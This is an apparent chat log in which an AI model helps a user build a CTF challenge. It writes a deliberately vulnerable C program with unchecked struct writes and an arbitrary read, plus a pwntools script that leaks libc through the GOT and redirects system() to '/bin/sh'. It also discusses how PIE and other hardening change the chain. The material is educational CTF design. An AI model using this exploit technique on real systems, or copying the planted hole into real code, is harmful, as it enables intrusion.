CTF buffer overflow exploit

Share

This is a test program I building for a ctf challenge. My goal is that the users must exploit this by data oriented attack by manipulating the job.cmd buffer. This should eventually hold the string /bin/sh and so the system call will open a shell. How should the exploit go? I have a rough outline of the program. For reference - the end goal is overwriting the cmd - not ROP. In fact there will be CFI on in this challenge. Along with ASLR, NX, and what not.

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
```

Show more

Fun challenge to design. This is a clean, well-scoped data-oriented attack (DOA) teaching example, so let me walk through how the exploit *should* flow and what you'll want to add to your scaffold to make it a solvable challenge.

The core idea

The whole point of a data-oriented attack here is that you never touch a return address or a function pointer. CFI, NX, and ASLR don't help the defender much, because:

- NX doesn't matter — you're calling `system`, which already exists.
- CFI doesn't matter — you never divert control flow. `system(job.cmd)` is a legitimate, intended call site. You're just changing the *data* that flows into it.
- ASLR doesn't matter — `"/bin/sh"` doesn't need to be at a known address if you *write* it into a buffer whose address you control, or if the program leaks it for you.

The target is `job.cmd`. The call `system(job.cmd)` at option `d` is your trigger. You win if, by the time `d` runs, `job.cmd` points at the bytes `/bin/sh\0`.

The two canonical ways to solve it

There are really two flavors, and which one your challenge teaches depends on how you implement `arbitrary_write`.

Flavor 1 — redirect the pointer (classic DOA). The attacker overwrites the `cmd` pointer itself so it points to attacker-controlled bytes elsewhere (e.g., into `buffer`, which already holds a string they chose). This is the purest "data-oriented" lesson: the pointer still passes any CFI check because `system` is called normally, but it now points where the attacker wants.

Flavor 2 — overwrite the pointee. The attacker leaves `cmd` alone but uses the arbitrary write to stamp `/bin/sh\0` directly over whatever `cmd` currently points at. This only works if `cmd` points at writable memory, which in your current code it doesn't (it points at a string literal in `.rodata`). So for this flavor you'd first point `cmd` at `buffer`, then write into `buffer` — or just have the write land in `buffer` and redirect the pointer. Flavor 1 is cleaner.

What your scaffold is missing

Right now the challenge isn't actually exploitable, because:

1. `arbitrary_write()` is empty — there's no primitive.
2. There's no leak, so the attacker can't learn the address of `buffer` (needed under ASLR to point `cmd` at it).
3. `/bin/sh` isn't anywhere in the binary, so the attacker has to write it themselves.

The intended solve becomes: leak the stack address of `buffer` (via option `c` / `a`), write `/bin/sh\0` into `buffer`, overwrite `job.cmd` to point at `buffer`, then trigger `d`.

A minimal `arbitrary_write` that makes this solvable

The teaching version gives a *constrained* write-what-where. Something like:

```c
void arbitrary_write(struct A *job) {
    unsigned long offset;
    unsigned int value;
    printf("offset (bytes from buffer base): ");
    scanf("%lu", &offset);
    printf("value (byte): ");
    scanf("%u", &value);
    // The intended "bug": no bounds check on offset.
    // buffer is 32 bytes; cmd lives right after it in the struct.
    job->buffer[offset] = (char)(value & 0xff);
}
```

Because `cmd` sits immediately after `buffer[32]` in the struct, writing at offsets `32..39` (on a 64-bit build, accounting for the 8-byte alignment padding — `cmd` will actually start at offset 32 here since `char[32]` is already 8-aligned) lets the attacker clobber the `cmd` pointer one byte at a time. Offsets `0..7` let them stage `/bin/sh\0` inside `buffer`.

The intended exploit flow

1. Leak — option `c` ("print") should print the address of `buffer` (e.g., `printf("buffer @ %p\n", job.buffer)`). This defeats ASLR for the one address

the attacker needs.

2. **Stage the string** — use `arbitrary_write` (or option `a`) to write `/bin/sh\0` into `buffer[0..7]`.
3. **Redirect the pointer** — use `arbitrary_write` on offsets `32..39` to overwrite `job.cmd` with the leaked `buffer` address.
4. **Trigger** — option `d` runs `system(job.cmd)` → `system("/bin/sh")` → shell.

Suggestions to tighten it as a CTF

A few knobs to make it a *good* challenge rather than a trivial one:

- **Make option `a` the string-staging primitive** (a `read` into `buffer` with a controlled length) and `b` the pointer-overwrite primitive. That separates the two concepts cleanly and justifies having both.
- **Decide your ASLR story.** Either print the leak (beginner) or make them derive it (harder). Without a leak, redirecting `cmd` to a stack address is a guess — so if you want it solvable deterministically, give the leak.
- **Consider endianness in the write.** If the overwrite is byte-granular, students have to assemble the 6 meaningful bytes of the stack address little-endian — good learning. If you let them write 8 bytes at once, it's easier.
- **Add a struct layout comment** in the source you hand out, or make them reverse it — your call on difficulty.
- **Guard the trigger** so `d` only fires once and exits, which you already do.

Want me to write out the full solvable version of the program (with `a`/`b`/`c` fleshed out) plus a matching Python `pwntools` solve script so you can verify it end-to-end? I can also do a quick GDB walkthrough showing the struct layout so you can confirm the offsets before you ship it.

> What about this sort of appraoch? Force the user to leak -> caused by arbitrary write say overwriting something -> to get libc base address -> get the /bin/sh string which is in libc - > overwrite that address into job.cmd -> execute system? Could you generate a possible program ctf for this?

Drafting the full pwntools exploit script and verifying prompt matching ▸

That approach is cleaner than the stack-string version, and it's the more "canonical" DOA-through-libc path. The nice property of your flow is that it *forces* the libc route: there's no stack-address leak anywhere, so pointing `cmd` at a local buffer isn't an option — the only reachable win is leaking libc and aiming `cmd` at libc's own `/bin/sh`.

Here's a self-consistent version.

The program

```c
```

```
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>

struct A {
  char  buffer[32];   // long slots 0..3
  char *cmd;          // slot 4 (offset 32) -> what system() runs
  char *readptr;      // slot 5 (offset 40) -> what 'c' dereferences & prints
};

void arbitrary_write(struct A *job) {
  unsigned long idx, val;
  printf("index (8-byte slots from buffer base): ");
  if (scanf("%lu", &idx) != 1) exit(1);
  printf("value (hex, e.g. 0x...): ");
  if (scanf("%lx", &val) != 1) exit(1);
  // The bug: no bounds check. idx 4 -> cmd, idx 5 -> readptr.
  ((unsigned long *)job->buffer)[idx] = val;
  puts("written.");
}

int main(void) {
  struct A job;
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin,  NULL, _IONBF, 0);

  strcpy(job.buffer, "AAAA");
  job.cmd     = "/bin/echo System command is /bin/echo";
  job.readptr = job.buffer;   // harmless default

  printf("Input Menu:\n"
         "a - stage bytes into buffer\n"
         "b - arbitrary write (indexed, UNCHECKED)\n"
         "c - read: print 8 bytes at readptr\n"
         "d - execute system command and exit\n");

  while (1) {
    char ch;
    printf("\nEnter a character:\n");
```

```
    if (scanf(" %c", &ch) != 1) break;

    if (ch == 'a') {
      printf("bytes: ");
      read(0, job.buffer, 31);          // bounded; no stack-addr leak
    }
    else if (ch == 'b') {
      arbitrary_write(&job);
    }
    else if (ch == 'c') {
      printf("leak: 0x%lx\n", *(unsigned long *)job.readptr);  // arbitrary rea
    }
    else if (ch == 'd') {
      system(job.cmd);
      break;
    }
    else {
      puts("Not a valid character");
    }
  }
  return 0;
}
```

What each primitive gives the player:

- `b` is a *write-what-where contained to the struct*: `((unsigned long*)buffer)[idx]` with no bound. Slot 4 is `cmd`, slot 5 is `readptr`. That's the whole attack surface — they can only reach those two pointers, which is exactly what you want for a focused challenge.
- `c` turns `readptr` into an *arbitrary read*: point it anywhere, get 8 bytes back.
- `a` is a red herring / bounded helper — it can't leak anything and can't reach past `buffer`, so it doesn't open a shortcut.

Why the leak is forced through libc

`c` only leaks the *contents* at `readptr`, never a stack address, so the attacker can never learn where `buffer` lives. The one fixed thing they *do* know is the GOT — **provided you compile** `-no-pie`. That's the load-bearing flag here: the main binary sits at a fixed address, so `puts@got` is a constant, while ASLR still randomizes libc. Read that GOT slot → runtime `puts` → libc base → `/bin/sh`.

CFI/NX/ASLR all sit this one out: you never divert control flow (CFI happy), you never execute injected code (NX happy), and the only randomized thing you need is defeated by the GOT read (ASLR beaten).

Intended exploit flow

1. `b` → write slot **5** = `puts@got`. Now `readptr` points at the GOT.
2. `c` → prints the runtime address of `puts`. Compute `libc_base = leaked - libc.sym['puts']`.
3. `b` → write slot **4** = `libc_base + offset_of("/bin/sh")`. Now `cmd` points at libc's `/bin/sh`.
4. `d` → `system("/bin/sh")`.

Build / run

```
gcc chall.c -o chall -no-pie -fstack-protector-all \
    -fcf-protection=full -Wl,-z,relro,-z,now
# NX is on by default; enable ASLR system-wide:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
```

Full RELRO is a nice touch — it makes the GOT read-only, which quietly steers players *away* from GOT-overwrite and *toward* the data-oriented path you intend (they're only *reading* the GOT, which RELRO still allows). One honesty note: `-fcf-protection=full` plants the CET/ `endbr` markers, but real shadow-stack enforcement needs a CET-capable CPU + kernel — fine for the "CFI is on and irrelevant" narrative, just know it's not always hardware-enforced on the grader.

Matching solve script

python

```
from pwn import *

e    = ELF('./chall')
libc = ELF('./libc.so.6')          # the libc the target runs against
io   = process('./chall')          # or remote(HOST, PORT)

def write(idx, val):
    io.sendlineafter(b'character:\n', b'b')
    io.sendlineafter(b'base): ', str(idx).encode())
    io.sendlineafter(b'0x...): ', hex(val).encode())

def leak():
    io.sendlineafter(b'character:\n', b'c')
    io.recvuntil(b'leak: ')
    return int(io.recvline().strip(), 16)

write(5, e.got['puts'])                     # readptr -> puts@got
libc.address = leak() - libc.sym['puts']    # libc base
log.info('libc base: %#x', libc.address)

write(4, next(libc.search(b'/bin/sh\x00')))  # cmd -> libc /bin/sh
io.sendlineafter(b'character:\n', b'd')      # trigger
io.interactive()
```

A couple of dials if you want to make it harder: drop option `a` entirely; make `b` byte-granular (forces them to assemble pointers little-endian); or leak via a different function's GOT slot so `libc.sym['puts']` doesn't tip them off. And if you ever want a PIE version, you'd have to add a binary-base leak primitive first — as written, `-no-pie` is what keeps it solvable.

Want me to drop `chall.c` and `solve.py` into files, pick a specific libc version, and actually run the solve end-to-end to confirm the offsets and prompt-matching hold?

> If say I wanted to make the binary PIE - how would it change the exploit requirements? This essentially means a binary that is as hardened as physically possible even with FULL RELRO - literally everything. For reference it doesn't need to be PIe just wondering what it would change.

Good question to think through, because PIE changes the *shape* of the problem without

changing the core DOA idea at all. Let me walk through what actually shifts.

What PIE breaks

With `-no-pie`, the main binary (and therefore its GOT, PLT, and `.data`) sits at a fixed address, so `puts@got` is a hardcoded constant you can drop straight into `readptr`. That constant is the single thing that makes your current solve a two-step leak.

PIE randomizes the main binary's base too. So `puts@got` is now at `pie_base + fixed_offset`, and you don't know `pie_base`. Your very first `write(5, e.got['puts'])` has nothing to put on the right-hand side. **The GOT read is no longer a free primitive — you need a PIE base leak before you can even reach the GOT.**

So the chain gains a stage:

```
leak PIE base → compute puts@got → read GOT for libc → compute /bin/sh
→ overwrite cmd → trigger
```

The libc half is unchanged. You've just prepended "defeat PIE" to the front.

The real design question: where does the PIE leak come from?

This is the crux, and it's why PIE forces *you*, the author, to make a decision. Under the primitives in your current program, a PIE leak isn't actually available — and that's worth seeing clearly:

- `readptr` starts pointing at `job.buffer` (a stack address you can't read as a value — `c` prints the *contents* at `readptr`, not `readptr` itself). Reading `buffer`'s contents leaks whatever you wrote there, which you already know. No help.
- `cmd` starts pointing at a string literal. In `-no-pie` that literal is in `.rodata` at a fixed address — useless as a leak because you can't read `cmd`'s own value, only follow it. In PIE it's a PIE-relative address, but again you can only *dereference* it, not observe the pointer.

The subtlety: your `c` primitive is a read *through* a pointer. To leak PIE you need to observe a pointer's *value*, and the only way to do that with a read-through primitive is to find a place in memory that *stores* a PIE-relative pointer, then point `readptr` at that storage. Candidates:

- A saved return address or saved `rbp` on the stack — but reaching those requires knowing the stack layout, and you have no stack leak. Circular.
- A function pointer or PIE-relative pointer sitting in a global (`.data` / `.bss`). If your struct lived in `.bss` instead of on the stack, `&job` would be a PIE-relative address knowable relative to the base — but you still can't read it without already having a pointer to it.
- The GOT itself, which under partial RELRO holds PIE-relative addresses for not-yet-resolved functions — but Full RELRO resolves and locks all of them at load, and they

point into *libc*, not the PIE image, so that's a libc leak, not a PIE leak.

The honest conclusion: **to make a PIE version solvable, you have to add a leak primitive that exposes a PIE-relative pointer's value.** The cleanest is to seed one deliberately. For example, store a pointer-to-self or a pointer to a function somewhere `readptr` can legally reach:

```c
struct A {
  char  buffer[32];
  char *cmd;
  char *readptr;
  void *self;        // = &job, a PIE/stack-relative value you can now READ
};
...
job.self = (void *)&job;   // or (void*)&main for a pure PIE leak
```

Now `write(readptr_slot, &job.self)` then `c` leaks a real PIE-relative (or stack) address, and you're unstuck. Pointing it at `&main` gives you PIE base directly; pointing it at `&job` gives you a stack address (useful if you later want the stack-string variant too).

That's the key teaching point: **PIE doesn't make the attack harder conceptually — it makes the *author* provide a second information disclosure.** Real-world DOA chains almost always have exactly this structure: one leak for the binary, one for libc, then the write.

What "everything on" does and doesn't change

Since you asked about maximum hardening — here's the matrix for this specific attack:

- **Full RELRO** — Doesn't stop you. You're *reading* the GOT, not writing it. It actually helps your challenge design by removing the GOT-overwrite shortcut, funneling players to the DOA path.
- **NX** — Irrelevant. No injected code; `system` already exists.
- **ASLR + PIE** — Adds the extra leak stage above. Defeated by information disclosure, not bypassed by cleverness.
- **CFI (`-fcf-protection=full`, CET)** — Irrelevant. `system(job.cmd)` is a legitimate forward edge to a real function entry; shadow stack and IBT both stay happy because you never corrupt a return address or jump to a non-`endbr` target. This is *the* reason DOA is the intended solution — it's the one class of attack that sails straight through CFI.
- **Stack canaries (`-fstack-protector-all`)** — Irrelevant *and* worth keeping. Your primitives are structured writes, not a linear overflow, so you never cross the canary. Keeping it on signals to players "this isn't a stack-smash, look for data."

- Fortify (`-D_FORTIFY_SOURCE=3`), `-fPIE -pie`, `-z noexecstack` — No change to the DOA path.

The thing to internalize: **no amount of control-flow hardening touches this attack.** The only mitigations that are even *relevant* are the ones that hide addresses (ASLR/PIE), and those are defeated by leaks, which you as the author control the availability of. That's exactly what makes DOA a great teaching vehicle against a maximally-hardened binary — you can turn every mitigation to 11 and the challenge is still clean, because you're attacking data, not control flow.

Net change to the exploit, summarized

	`-no-pie` (current)	PIE + full hardening
Leaks needed	1 (libc, via fixed GOT)	2 (PIE base, then libc)
New primitive the author must add	none	a PIE-relative pointer the read can observe
Write target	`cmd` → libc `/bin/sh`	identical
Trigger	`d`	identical
CFI/NX/canary relevance	none	none

So if you keep `-no-pie`, your two-step solve stands as-is. If you go PIE, add one seeded pointer (`self` or `&main`) that `readptr` can reach, and prepend a leak stage — everything downstream is unchanged.

Want me to write the fully-hardened PIE variant with the `self` leak wired in, compile it with the whole mitigation stack, and run a `pwntools` solve end-to-end to prove the two-leak chain works? I can also show the `checksec` output so you can confirm "everything is on."